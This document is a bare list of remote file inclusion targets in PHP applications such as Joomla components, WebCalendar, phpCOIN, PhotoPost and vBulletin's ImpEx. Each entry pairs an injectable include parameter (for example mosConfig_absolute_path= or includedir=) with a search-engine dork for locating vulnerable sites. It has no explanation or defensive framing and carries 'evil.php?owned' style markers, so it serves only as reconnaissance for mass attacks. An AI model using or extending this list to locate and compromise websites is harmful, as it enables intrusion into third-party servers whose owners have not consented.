/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= com_serverstat
/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= "com_serverstat"
canal.php?meio= .php?meio="
/classes/adodbt/sql.php?classes_dir= "adobt"
/classes/adodbt/sql.php?classes_dir= adobt
/classes/adodbt/sql.php?classes_dir= adobt
/classified_right.php?language_dir= "classified.php"
/classified_right.php?language_dir= classified.php
/classified_right.php?language_dir= classified.php phpbazar
/classified_right.php?language_dir= "phpbazar"
/classified_right.php?language_dir= phpbazar
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN"
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN 1.2.3"
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN 1.2.3
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "powered by phpCOIN 1.2.3"
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= powered by phpCOIN 1.2.3
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= "com_extended_registration"
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration
/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms"
/components/com_facileforms/facileforms.frame.php?ff_compath= "com_facileforms"
/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms
components/com_performs/performs.php?mosConfig_absolute_path= com_performs
components/com_performs/performs.php?mosConfig_absolute_path= "com_performs"
/components/com_zoom/includes/database.php?mosConfig_absolute_path= "com_zoom"
/components/com_zoom/includes/database.php?mosConfig_absolute_path= com_zoom
/components/com_zoom/includes/database.php?mosConfig_absolute_path= "index.php?option="com_zoom"
content.php?page= "content.php?page=*.php"
/embed/day.php?path= "Calendar"
/embed/day.php?path= Calendar
/embed/day.php?path= intitle:"Login to Calendar"
/embed/day.php?path= "Login to Calendar"
/embed/day.php?path= Login to Calendar
/embed/day.php?path= "WebCalendar"
/embed/day.php?path= WebCalendar
enc/content.php?Home_Path= "doodle"
enc/content.php?Home_Path= doodle
enc/content.php?Home_Path= "doodle cart"
enc/content.php?Home_Path= doodle cart
enc/content.php?Home_Path= "powered by doodle cart"
enc/content.php?Home_Path= powered by doodle cart
/header.php?abspath= "MobilePublisherPHP"
/header.php?abspath= MobilePublisherPHP
impex/ImpExData.php?systempath= intext:powered by vbulletin
impex/ImpExData.php?systempath= powered by vbulletin
impex/ImpExData.php?systempath= "vbulletin"
impex/ImpExData.php?systempath= vbulletin
/includes/dbal.php?eqdkp_root_path= "EQdkp"
/includes/dbal.php?eqdkp_root_path= EQdkp
/includes/dbal.php?eqdkp_root_path= "powered by EQdkp"
/includes/dbal.php?eqdkp_root_path= powered by EQdkp
/includes/kb_constants.php?module_root_path= "Base"
/includes/kb_constants.php?module_root_path= Base
/includes/kb_constants.php?module_root_path= "Knowledge"
/includes/kb_constants.php?module_root_path= Knowledge
/includes/kb_constants.php?module_root_path= "Knowledge Base"
/includes/kb_constants.php?module_root_path= Knowledge Base
/includes/kb_constants.php?module_root_path= "Powered by Knowledge Base"
/includes/kb_constants.php?module_root_path= Powered by Knowledge Base
index1.php?= "index1.php?="
index1.php?= index1.php?=
index1.php?= "index1.php?=*.php?
index2.php?= "index2.php?="
index2.php?= index2.php?=
index2.php?= "index2.php?=*.php?"
index.php?body= index.php?body=
index.php?body= "index.php?body="
index.php?go1= index.php?go1=
index.php?go1= "index.php?go1="
index.php?go= "index.php?go="
index.php?go= index.php?go=
index.php?pageurl= "index.php?pageurl="
index.php?pageurl= "index.php?pageurl=*.php"
index.php?pageurl= index.php?pageurl=*.php
index.php?pageurl= "index.php?pageurl=*.php
index.php?pagina1= "index.php?pagina1="
index.php?pagina1= index.php?pagina1=
index.php?pagina= "index.php?pagina="
index.php?pagina= "index.php?pagina=*.php"
index.php?site1= index.php?site1=
index.php?site1= "index.php?site1="
index.php?site= "index.php?site="
index.php?site= index.php?site=
index.php?var1= "index.php?var1="
index.php?var1= index.php?var1=
index.php?var2= index.php?var2=
index.php?var= index.php?va21=
index.php?var= index.php?var=
index.php?var= "index.php?var1="
index.php?var= index.php?var1=
index.php?var= "index.php?var2="
index.php?var= index.php?var2=
index.php?var= "index.php?var=*.php"
index.php?var= index.php?var=*.php
/login.php?dir= login.php?dir=
/login.php?dir= "login.php?dir="
/login.php?dir= login.php?dir=
main.php?id= "main.php?id=*.php"
/main.php?sayfa= "main.php?sayfa="
/main.php?sayfa= main.php?sayfa=
/mcf.php?content= mcf.php"
mcf.php?content= mcf.php"
mcf.php?content= "mcf.php"
mcf.php?content= mcf.php
/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar
/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar
/modules/TotalCalendar/about.php?inc_dir= "TotalCalendar"
/modules/TotalCalendar/about.php?inc_dir= TotalCalendar
/modules/vwar/admin/admin.php?vwar_root= "vwar"
/modules/vwar/admin/admin.php?vwar_root= vwar
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "index.php?id="
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= index.php?id=
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "phpwcms/index.php?id="
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= phpwcms/index.php?id=
skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer"
skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer
skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"
skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer CMS
skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "CMS"
skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"
/skin/zero_vote/error.php?dir= "skin/zero_vote/error.php"
/skin/zero_vote/error.php?dir= skin/zero_vote/error.php
/sources/functions.php?CONFIG[main_path]= "(Powered By ScozNews)"
/sources/functions.php?CONFIG[main_path]= "Powered By ScozNews"
/sources/functions.php?CONFIG[main_path]= (Powered By ScozNews)
/sources/functions.php?CONFIG[main_path]= Powered By ScozNews
/sources/functions.php?CONFIG[main_path]= "ScozNews"
/sources/functions.php?CONFIG[main_path]= ScozNews
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark"
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark TopSites"
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark TopSites
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Powered By Aardvark Topsites PHP 4.2.2"
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Powered By Aardvark Topsites PHP 4.2.2
/sources/template.php?CONFIG[main_path]= "(Powered By ScozNews)"
/sources/template.php?CONFIG[main_path]= (Powered By ScozNews)
/sources/template.php?CONFIG[main_path]= Powered By ScozNews
/sources/template.php?CONFIG[main_path]= "ScozNews"
/sources/template.php?CONFIG[main_path]= ScozNews
/surveys/survey.inc.php?path= surveys
/surveys/survey.inc.php?path= "surveys"
/tags.php?BBCodeFile= intitle:"Tagger LE"
/tags.php?BBCodeFile= intitle:"Tagger LE" tags.php
/tags.php?BBCodeFile= "Tagger LE"
/tags.php?BBCodeFile= Tagger LE
/tags.php?BBCodeFile= "tags.php"
/tags.php?BBCodeFile= tags.php
/templates/headline_temp.php?nst_inc= intitle:fusion:news:management
/templates/headline_temp.php?nst_inc= ‘fusion"
/templates/headline_temp.php?nst_inc= "fusion"
/templates/headline_temp.php?nst_inc= fusion
/templates/headline_temp.php?nst_inc= fusion:news:management:system
/templates/headline_temp.php?nst_inc= "management"
/templates/headline_temp.php?nst_inc= management
/templates/headline_temp.php?nst_inc= "news"
/templates/headline_temp.php?nst_inc= news
/templates/headline_temp.php?nst_inc= "system"
/templates/headline_temp.php?nst_inc= system
/tools/send_reminders.php?includedir= "day.php?date="
/tools/send_reminders.php?includedir= day.php?date=
/ws/get_events.php?includedir= /WebCalendar/
/ws/get_events.php?includedir= "/WebCalendar/"
/ws/get_events.php?includedir= "WebCalendar"
/zipndownload.php?PP_PATH= "PhotoPost"
/zipndownload.php?PP_PATH= PhotoPost
/zipndownload.php?PP_PATH= "PhotoPostP"
/zipndownload.php?PP_PATH= "PhotoPost PHP"
/zipndownload.php?PP_PATH= "PhotoPost PHP 4.6"
/zipndownload.php?PP_PATH= PhotoPost PHP 4.6
/zipndownload.php?PP_PATH= "Powered by: PhotoPost PHP 4.6?
/zipndownload.php?PP_PATH= Powered by: PhotoPost PHP 4.6
cmd.php?arg= .php?arg=
/codebb/lang_select?phpbb_root_path= codebb
/codebb/lang_select?phpbb_root_path= codebb 1.1b3
components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rs gery
components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery
components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery.php
content.php?inc= .php?inc="
content.php?seite= content.php?seite=
content.php?seite= .php?seite=
dbase.php?action= dbase.php
dbase.php?action= dbase.php?action=
dbase.php?action= .php?action=
default.php?arquivo= .php?arquivo=
default.php?vis= .php?vis="
define.php?term= .php?term="
detail.php?prod= detail.php?prod="
detail.php?prod= .php?prod="
details.php?loc= details.php?loc=
details.php?loc= .php?loc=
directions.php?loc= directions.php?loc=
direct.php?loc= direct.php?loc=
display.php?f= display.php?f=
display.php?file= display.php?file=
display.php?lang= display.php?lang=
display.php?l= display.php?l=
display.php?ln= display.php?ln=
display.php?pag= display.php?pag=
display.php?page= display.php?page="
display.php?page= .php?page="
display.php?page=&lang= display.php?page="
display.php?page=&lang= .php?page="
display.php?p= display.php?p=
display.php?pg= display.php?pg=
display.php?s= display.php?s=
display.php?table= display.php?table=
display.php?table= .php?table=
download.php?sub= "download.php?sub="
download.php?sub= download.php?sub=
eng.php?img= eng.php?img=
eng.php?img= .php?img=
/exibir.php?arquivo= .php?arquivo=
experts.php?sub= "experts.php?sub="
experts.php?sub= experts.php?sub=
forum.php?seite= .php?seite=
frag.php?exec= frag.php"
frag.php?exec= frag.php?exec="
frag.php?exec= .php?exec="
frame.php?loc= .php?loc="
galerie.php?do= .php?do="
glossary.php?term= .php?term="
handlinger.php?vis= .php?vis="
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP Ged View
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP GedView
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView <= 3.3.7
home1.php?ln= .php?ln=
home2.php?ln= .php?ln=
home.php?a= home.php?a="
home.php?a= .php?a="
home.php?act= "home.php?act="
home.php?act= home.php?act=
home.php?arg= .php?arg=
home.php?func= .php?func="
home.php?i= "home.php?i="
home.php?i= home.php?i=
home.php?inc= "home.php?inc="
home.php?inc= home.php?inc=
home.php?ln= .php?ln=
home.php?ltr= .php?ltr="
home.php?sit= .php?sit="
home.php?table= .php?table=
image.php?img= image.php?img=
image.php?img= .php?img=
img.php?loc= img.php?loc="
img.php?loc= .php?loc="
inc.php?inc= .php?inc="
index1.php?arg= .php?arg=
index1.php?arq= .php?arq=
index1.php?func= .php?func="
index1.php?inc= .php?inc="
index1.php?lk= .php?lk="
/index1.php?ln= .php?ln=
index1.php?ltr= .php?ltr="
index1.php?mid= index1.php?mid=
index1.php?page= index1.php?page="
index1.php?p= .php?p="
index1.php?p= .php?pag="
index1.php?p= .php?page="
index1.php?p= .php?pg="
index1.php?s= index1.php?s="
index1.php?show= index1.php?show="
index1.php?show= .php?show="
index1.php?table= .php?table=
index2.php?arg= .php?arg=
index2.php?arq= .php?arq=
index2.php?c= index2.php?c="
index2.php?c= .php?c="
index2.php?cont= index2.php?cont="
index2.php?cont= .php?cont="
index2.php?content= index2.php?cont="
index2.php?content= index2.php?content="
index2.php?content= .php?content="
index2.php?content= index2.php?content=
index2.php?content= .php?content=
index2.php?i= /index2.php?i=
index2.php?inc= .php?inc="
index2.php?l= .php?l="
index2.php?lg= index.php?lg="
index2.php?lk= .php?lk="
index2.php?ln= index.php?ln="
index2.php?ln= .php?ln="
index2.php?lng= index.php?lng="
index2.php?loca= index2.php?loca=
index2.php?loca= .php?loca=
index2.php?meio= .php?meio=
index2.php?s= index2.php?s="
index2.php?s= .php?s="
index2.php?table= .php?table=
index2.php?x= index2.php?x=
index2.php?x= .php?x=
index.php3?act= index.php3?act=
index.php3?act= .php3?act=
index.php3?act= .php3?act="
index.php3?file= .php3?f="
index.php3?file= .php3?file="
index.php3?id= index.php3?id=
index.php3?i= index.php3?i=
index.php3?lang= index.php3?lang=
index.php3?l= index.php3?l=
index.php3?page= index.php3?page=
index.php3?pag= index.php3?pag=
index.php3?p= index.php3?p="
index.php3?p= index.php3?pag="
index.php3?p= index.php3?page="
index.php3?p= index.php3?pg="
index.php3?pg= index.php3?pg=
index.php3?p= index.php3?p=
index.php3?s= index.php3?s="
index.php3?s= index.php3?s=
index.php3?s= .php3?s=
index.php3?s= .php3?s="
index.php4?lang= index.php4?lang="
index.php4?lang= index.php4?lang="
index.php4?lang= .php4?lang=
index.php4?lang= .php4?lang="
index.php4?lang= .php4?lang=
index.php5?lang= index.php5?lang="
index.php5?lang= index.php5?lang=
index.php5?lang= .php5?lang="
index.php?a= index.php?a="
index.php?a= .php?a="
index.php?acao= index.php?acao=
index.php?acao= .php?acao=
index.php?act= "index.php?act="
index.php?act= index.php?act=
index.php?action= index.php?action="
index.php?action= .php?action="
index.php?arg= index.php?arg=
index.php?arg= .php?arg=
index.php?arq= index.php?arq=
index.php?arq= .php?arq=
index.php?arquivo= .php?arquivo=
index.php?ba= index.php?ba="
index.php?b= index.php?b="
index.php?bas= index.php?bas="
index.php?bas= .php?bas="
index.php?cal= index.php?cal=
index.php?cal= "index.php?cal="
index.php?cal= ".php?cal="
index.php?c= index.php?c="
index.php?cal= .php?cal=
index.php?c= index.php?c=
index.php?c= "index.php?c="
index.php?c= ".php?c="
/index.php?cms= /index.php?cms=
/index.php?cms= /index.php?cms="
index.php?command= index.php?command="
index.php?command= .php?command="
index.php?content= index.php?content=
index.php?content= .php?content=
index.php?c= .php?c=
index.php?d1= .php?d1="
index.php?def= index.php?def="
index.php?def= .php?def="
index.php?def= index.php?def=
/index.php?dn= /index.php?dn=
/index.php?dn= index.php?dn="
/index.php?dn= .php?dn=
/index.php?dn= .php?dn="
index.php?dok= index.php?dok="
index.php?dok= .php?dok="
index.php?e= index.php?e="
index.php?exec= index.php?exec=
index.php?exec= .php?exec=
index.php?f1= .php?f1="
index.php?f= index.php?f="
index.php?fase= index.php?fase="
index.php?fase= .php?fase="
index.php?file= index.php?file="
index.php?fn= index.php?fn="
index.php?fn= .php?fn="
index.php?fPage= index.php?fPage="
index.php?fPage= index.php?fPage=
index.php?fPage= .php?fPage=
index.php?fPage= .php?fPage="
index.php?fPage= index.php?fPage=
index.php?fset= .php?fset="
index.php?func= .php?func="
index.php?goto= index.php?goto="
index.php?goto= .php?goto="
index.php?id=1&lang= index.php?i=
index.php?id=1&lang= "index.php?id="
index.php?id=1&lang= index.php?id=
index.php?id=1&lang= ".php?id="
index.php?id= index.php?id="
/index.php?id=&lang= index.php?id="
/index.php?id=&lang= .php?id="
index.php?id=&lang= "index.php?id="
index.php?id=&lang= ".php?id="
/index.php?id=&page= index.php?id="
/index.php?id=&page= .php?id="
index.php?inc= .php?inc="
index.php?ir= ".php?ir="
/index.php?lang=en&cat= index.php?lang="
/index.php?lang=en&cat= .php?lang="
/index.php?lang=en&page= index.php?lang="
/index.php?lang=en&page= .php?lang="
/index.php?lang=en&page= index.php?lang=
index.php?lang=en&page= index.php?lang=
/index.php?lang=en&page= .php?lang=
index.php?lang=en&page= .php?lang=
index.php?lang= "index.php?lang="
index.php?lang= index.php?lang=
index.php?lang=&page= index.php?lang=
index.php?lang=&page= .php?lang=
index.php?lg= "index.php?lg="
index.php?lg= index.php?lg=
index.php?lk= .php?lk="
/index.php?ln= .php?ln=
index.php?lng= "index.php?lng="
index.php?lng= index.php?lng=
index.php?ln= "index.php?ln="
index.php?ln= index.php?ln=
index.php?ln= ".php?ln="
index.php?lnk= index.php?lnk=
index.php?lnk= .php?lnk=
index.php?lnk= "index.php?lnk="
index.php?lnk= ".php?lnk="
index.php?ln= .php?ln=
index.php?loca= index.php?loca=
/index.php?loc= .php?loc="
index.php?loca= .php?loca=
/index.php?loc=&cat= index.php?loc="
/index.php?loc=&cat= .php?loc="
/index.php?loc=&lang= index.php?loc="
/index.php?loc=&lang= .php?loc="
/index.php?loc=&page= index.php?loc="
/index.php?loc= .php?loc=
/index.php?loc=start&page= index.php?loc="
index.php?ltr= index.php?ltr="
index.php?ltr= .php?ltr="
index.php?main= .php?main="
index.php?m= index.php?m="
index.php?meio= index.php?meio="
index.php?meio= index.php?meio=
index.php?meio= .php?meio=
index.php?meio= .php?meio="
index.php?mf= index.php?mf=
index.php?mf= .php?mf=
index.php?mf= .php?mf="
index.php?mid= index.php?mid="
index.php?mid= index.php?mid=
index.php?mid= .php?mid=
index.php?mid= .php?mid="
index.php?middle= index.php?middle="
index.php?middle= index.php?middle=
index.php?middle= .php?middle="
index.php?mn= index.php?mn="
index.php?mn= .php?mn="
index.php?mod= index.php?mod="
index.php?mod= .php?mod="
index.php?new= index.php?new="
index.php?news= index.php?news="
index.php?page1= index.php?page1="
index.php?page1= .php?page1="
index.php?page= php5?page=
index.php?page= index.php?page=
index.php?page=&lang= index.php?p=
index.php?page=&lang= index.php?pag=
index.php?page=&lang= index.php?page=
index.php?page=&lang= index.php?pg=
index.php?page=&lang= .php?p=
index.php?page=&lang= .php?pag=
index.php?page=&lang= .php?page=
index.php?page=&lang= .php?pg=
index.php?pageN= .php?pageN="
index.php?pager= index.php?pager=
index.php?pager= .php?pager=
index.php?pagina= index.php?pagina=
index.php?pag= "index.php?pag="
index.php?pag= index.php?pag=
index.php?p= index.php?p="
index.php?pg= "index.php?pg="
index.php?pg= index.php?pg=
index.php?prod= .php?prod="
index.php?prod= .php?product="
index.php?product= .php?prod="
index.php?product= .php?product="
index.php?r= index.php?r="
index.php?s= index.php?s="
index.php?s= index.php?s=
index.php?s= .php?s=
index.php?s= .php?s="
index.php?secao= index.php?secao=
index.php?secao= .php?secao=
index.php?secao= "index.php?secao="
index.php?secao= ".php?secao="
/index.php?seccion= /index.php?seccion=
/index.php?seccion= .php?seccion=
index.php?sec= "index.php?sec="
index.php?sec= index.php?sec=
/index.php?seite= /index.php?seite=
/index.php?seite= .php?seite=
index.php?select= .php?select="
index.php?select= index.php?select=
index.php?select= .php?select=
index.php?set= index.php?set="
index.php?set= index.php?set=
index.php?set= .php?set=
index.php?set= .php?set="
index.php?sf= index.php?sf="
index.php?show= .php?show="
index.php?s= "index.php?s="
index.php?s= index.php?s=
index.php?sit= index.php?sit="
index.php?sit= .php?sit="
/index.php?slang= /index.php?slang=
/index.php?slang= "index.php?slang="
/index.php?slang= .php?slang=
/index.php?slang= ".php?slang="
index.php?sort= .php?sort="
index.php?spage= index.php?spage="
index.php?spage= index.php?spage=
index.php?spage= .php?spage=
index.php?spage= .php?spage="
index.php?ss= index.php?ss="
index.php?ss= .php?ss="
index.php?st= index.php?st="
index.php?sub= index.php?sub="
index.php?sub= index.php?sub=
index.php?sub= .php?sub=
index.php?sub= "index.php?sub="
index.php?sub= index.php?sub=
index.php?sub= "index.php?sub=""
index.php?sub= "index.php?sub="
index.php?sub= ".php?sub="
index.php?subpage= index.php?subpage="
index.php?subpage= .php?subpage="
index.php?subp= index.php?subp="
index.php?subp= .php?subp="
index.php?table= index.php?table=
index.php?table= .php?table=
index.php?t= index.php?t="
index.php?task= index.php?task=
index.php?task= .php?task=
index.php?term= .php?term="
index.php?textfield= .php?textfield="
index.php?theme= index.php?theme=
index.php?theme= .php?theme=
index.php?theme= .php?theme=
index.php?trans= index.php?trans="
index.php?trans= .php?trans="
index.php?v= index.php?v="
index.php?ver= index.php?ver="
index.php?ver= index.php?ver=
index.php?ver= .php?ver=
index.php?ver= .php?ver="
index.php?ver= .php?ver=
/index.php?vis= /index.php?vis=
/index.php?vis= .php?vis=
index.php?way= index.php?way=
index.php?way= .php?way=
index.php?wpage= index.php?wpage="
index.php?wpage= .php?wpage="
info.php?ln= info.php?ln="
info.php?ln= info.php?ln=
info.php?ln= .php?ln="
/interna.php?meio= .php?meio="
kalender.php?vis= kalender.php"
kalender.php?vis= kalender.php?vis="
kalender.php?vis= .php?vis="
lang.php?arg= .php?arg=
lang.php?arq= .php?arq=
lang.php?lk= .php?lk="
lang.php?ln= .php?ln=
lang.php?subpage= .php?subpage="
lang.php?subp= .php?sub="
lang.php?subp= .php?subp="
/lib/db/ez_sql.php?lib_path= ttCMS
/lib/db/ez_sql.php?lib_path= ttCMS <= v4
/lib/static/header.php?set_menu= iPhoto Album
/lib/static/header.php?set_menu= iPhotoAlbum
/lib/static/header.php?set_menu= iPhotoAlbum v1.1
link.php?do= .php?do="
list.php?product= .php?product=
list.php?table= .php?table=
ln.php?ln= .php?ln=
loc.php?l= .php?l="
loc.php?l= .php?loc="
loc.php?lang= .php?lang="
loc.php?lang= .php?loc="
loc.php?loc= loc.php?loc="
loc.php?loc= .php?loc="
login.php?loca= .php?loca=
magazine.php?inc= .php?inc="
main1.php?arg= .php?arg=
main1.php?ln= .php?ln=
main2.php?ln= .php?ln=
main.html.php?seite= .php?seite=
main.php3?act= main.php3?act="
main.php3?act= .php3?act="
main.php5?page= .php5?id=
main.php?a= .php?a="
main.php?arg= .php?arg=
main.php?ba= main.php?ba="
main.php?ba= .php?ba="
main.php?command= main.php?command="
main.php?command= .php?command="
main.php?d1= main.php?d1="
main.php?d1= .php?d1="
main.php?f1= .php?f1="
main.php?fset= .php?fset="
main.php?inc= .php?inc="
main.php?ln= .php?ln=
main.php?ltr= .php?ltr="
main.php?s= main.php?s="
main.php?s= main.php?s=
main.php?s= .php?s=
main.php?s= .php?s="
main.php?sit= .php?sit="
main.php?table= .php?table=
main.php?vis= main.php?vis="
main.php?vis= main.php?vis=
main.php?vis= .php?vis="
mai.php?act= mai.php?act="
mai.php?act= mai.php?act=
mai.php?loc= mai.php?loc="
mai.php?loc= mai.php?loc=
mai.php?src= mai.php?src="https://anonyviet.com/dork-sql-2015/mai.php?src= mai.php?src=
map.php?loc= map.php?loc=
middle.php?file="middle.php?file="
middle.php?file= "middle.php?page="
middle.php?file= ".php?file="
middle.php?file= ".php?page="
middle.php?file= middle.php?file=
middle.php?file= middle.php?page=
middle.php?file= .php?file=
middle.php?file= .php?page=
middle.php?page= "middle.php?page="
middle.php?page= ".php?page="
middle.php?page= middle.php?page=
middle.php?page= .php?page=
misc.php?do= .php?do="
mod.php?mod= mod.php?mod="
mod.php?mod= .php?mod="
module.php?mod= module.php?mod="
module.php?mod= .php?mod="
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook"
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= "PostGuestbook"
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= "PostGuestbook 0.6.1?
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir= PostGuestbook 0.6.1
modul.php?mod= modul.php?mod="
modul.php?mod= .php?mod="
more.php?sub= "more.php?sub="
more.php?sub= more.php?sub=
nav.php?g= "nav.php?g="
nav.php?g= nav.php?g=
nav.php?go= "nav.php?go="
nav.php?go= nav.php?go=
nav.php?lk= .php?lk="
nav.php?ln= .php?ln=
nav.php?loc= nav.php
nav.php?loc= nav.php?loc=
nav.php?loc= .php?loc=
nav.php?nav= "nav.php?nav="
nav.php?nav= nav.php?nav=
nav.php?page= "nav.php?page="
nav.php?page= nav.php?page=
nav.php?pagina= "nav.php?pagina="
nav.php?pagina= nav.php?pagina=
nav.php?pag= "nav.php?pag="
nav.php?pag= nav.php?pag=
nav.php?pg= "nav.php?pg="
nav.php?pg= nav.php?pg=
nav.php?p= "nav.php?p="
nav.php?p= nav.php?p=
order.php?lang= order.php?lang=
order.php?list= order.php?list=
order.php?ln= order.php?ln=
order.php?l= order.php?l=
order.php?page= order.php?page=
order.php?pag= order.php?pag=
order.php?pg= order.php?pg=
order.php?p= order.php?p=
order.php?wp= order.php?wp=
order.php?wp= .php?wp=
/?page= .php5?id=
page.php5?id= page.php5?id=
page.php5?id= .php5?id=
page.php?arq= .php?arq=
page.php?ln= .php?ln=
page.php?p= page.php?p="
page.php?p= page.php?p=
page.php?p= .php?p=
page.php?p= .php?p="
page.php?s= page.php?s="
page.php?s= page.php?s=
page.php?s= .php?s=
page.php?s= .php?s="
/?pag= .php5?id=
/palportal/index.php?page= /palportal/
/palportal/index.php?page= pal portal
/?pg= .php5?id=
/?p= .php5?id=
p.php?p= .php?p=
p.php?p= .php?p="
p.php?p= p.php?p="
p.php?p= "p.php?p="
p.php?p= p.php?p=
presse.php?do= .php?do="
presse.php?do= presse.php?do="
print.php?pager= .php?pager=
print.php?pager= .php?pager=
print.php?pager= print.php?pager=
print.php?table= .php?table=
proddetail.php?prod= .php?prod="
prod.php?prod= .php?prod="
products.php?prod= .php?prod="
produit.php?prod= .php?prod="
produkt.php?prod= .php?prod="
/read.php?fpage= /read.php?fpage=
reports.php?sub= "reports.php?sub="
reports.php?sub= reports.php?sub=
rss.php?phpraid_dir= phpraid"
rss.php?phpraid_dir= phpraid
rss.php?phpraid_dir= ""$2-"
rss.php?phpraid_dir= "php raid"
rss.php?phpraid_dir= php raid
rss.php?phpraid_dir= phpraid
s1.php?ln= .php?ln=
search.php?exec= search.php?exec=
shop.php?prod= .php?prod="
shop.pl/page= shop.pl/page=
show.php?page1= .php?page1="
show.php?product= .php?product=
show.php?product= show.php?product=
side.php?arq= .php?arq=
side.php?table= .php?table=
side.php?vis= .php?vis=
side.php?vis= side.php?vis=
site.php?arq= .php?arq=
site.php?meio= .php?meio=
site.php?table= .php?table=
s.php?table= .php?table=
start.php?id= .php?id="
start.php?id= start.php?id="
start.php?id= start.php?id=
start.php?lang= .php?lang="
start.php?lang= start.php?lang="
start.php?lang= start.php?lang=
start.php?lang= .php?lang=
start.php?lang= start.php?lang=
start.php?mod= .php?mod="
start.php?mod= start.php?mod="
start.php?page= .php?page="
start.php?page= start.php?page="
start.php?page= start.php?page=
start.php?pag= start.php?pag=
start.php?pg= start.php?pg=
start.php?p= start.php?p=
start.php?s= .php?s="
start.php?s= start.php?s="
start.php?s= start.php?s=
start.php?s= start.php?s=
str.php?lang= str.php?lang=
str.php?ln= str.php?ln=
str.php?l= str.php?l=
str.php?page= str.php?page=
str.php?p= str.php?p=
sub.php?menu= "sub.php?menu="
sub.php?menu= sub.php?menu=
sub.php?s= "sub.php?s="
sub.php?s= sub.php?s=
sub.php?sub= "sub.php?sub="
sub.php?sub= sub.php?sub=
task.php?task= .php?task=
task.php?task= task.php?task=
/templates/mangobery/footer.sample.php?Site_Path= Mangobery
/templates/mangobery/footer.sample.php?Site_Path= Mangobery 0.5.5
/templates/mangobery/footer.sample.php?Site_Path= Mangobery-0.5.5
trans.php?trans= .php?trans="
trans.php?trans= trans.php?trans="
/trans/trans.php?trans=eng&page= .php?trans="
/trans/trans.php?trans=en&page= .php?trans="
/trans/trans.php?trans=fr&page= .php?trans="
/trans/trans.php?trans=ko&page= .php?trans="
/trans/trans.php?trans=&page= .php?trans="
/trans/trans.php?trans=&p= .php?trans="
view.php?sub= "view.php?sub="
view.php?sub= view.php?sub=
view.php?table= .php?table=
voir.php?inc= .php?inc="
werbungFrame.php?do= .php?do="
/ws/get_events.php?includedir= Web Calendar
/ws/get_events.php?includedir= WebCalendar
/ws/get_events.php?includedir= WebCalendar v0.9.45
/ws/get_reminders.php?includedir= WebCalendar
/ws/get_reminders.php?includedir= WebCalendar v0.9.45
/ws/login.php?includedir= WebCalendar
/ws/login.php?includedir= WebCalendar v0.9.45
ocp-103/index.php?req_path= ocPortal
images/evil.php?owned= e107
/modules/My_eGery/public/displayCategory.php?basepath=
/include/new-visitor.inc.php?lvc_include_dir=
/_functions.php?prefix=
/cpcommerce/_functions.php?prefix=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/eblog/blog.inc.php?xoopsConfig[xoops_url]=
/pm/lib.inc.php?pm_path=
/b2-tools/gm-2-b2.php?b2inc=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/modules/agendax/addevent.inc.php?agendax_path=
/includes/include_once.php?include_file=
/e107/e107_handlers/secure_img_render.php?p=
/shoutbox/expanded.php?conf=
/main.php?x=
/myPHPCalendar/admin.php?cal_dir=
/index.php/main.php?x=
/index.php?include=
/index.php?x=
/index.php?open=
/index.php?visualizar=
/template.php?pagina=
/index.php?pagina=
/index.php?inc=
/includes/include_onde.php?include_file=
/index.php?page=
/index.php?pg=
/index.php?show=
/db.php?path_local=
/index.php?site=
/htmltonuke.php?filnavn=
/livehelp/inc/pipe.php?HCL_path=
/hcl/inc/pipe.php?HCL_path=
/inc/pipe.php?HCL_path=
/support/faq/inc/pipe.php?HCL_path=
/help/faq/inc/pipe.php?HCL_path=
/helpcenter/inc/pipe.php?HCL_path=
/live-support/inc/pipe.php?HCL_path=
/gnu3/index.php?doc=
/gnu/index.php?doc=
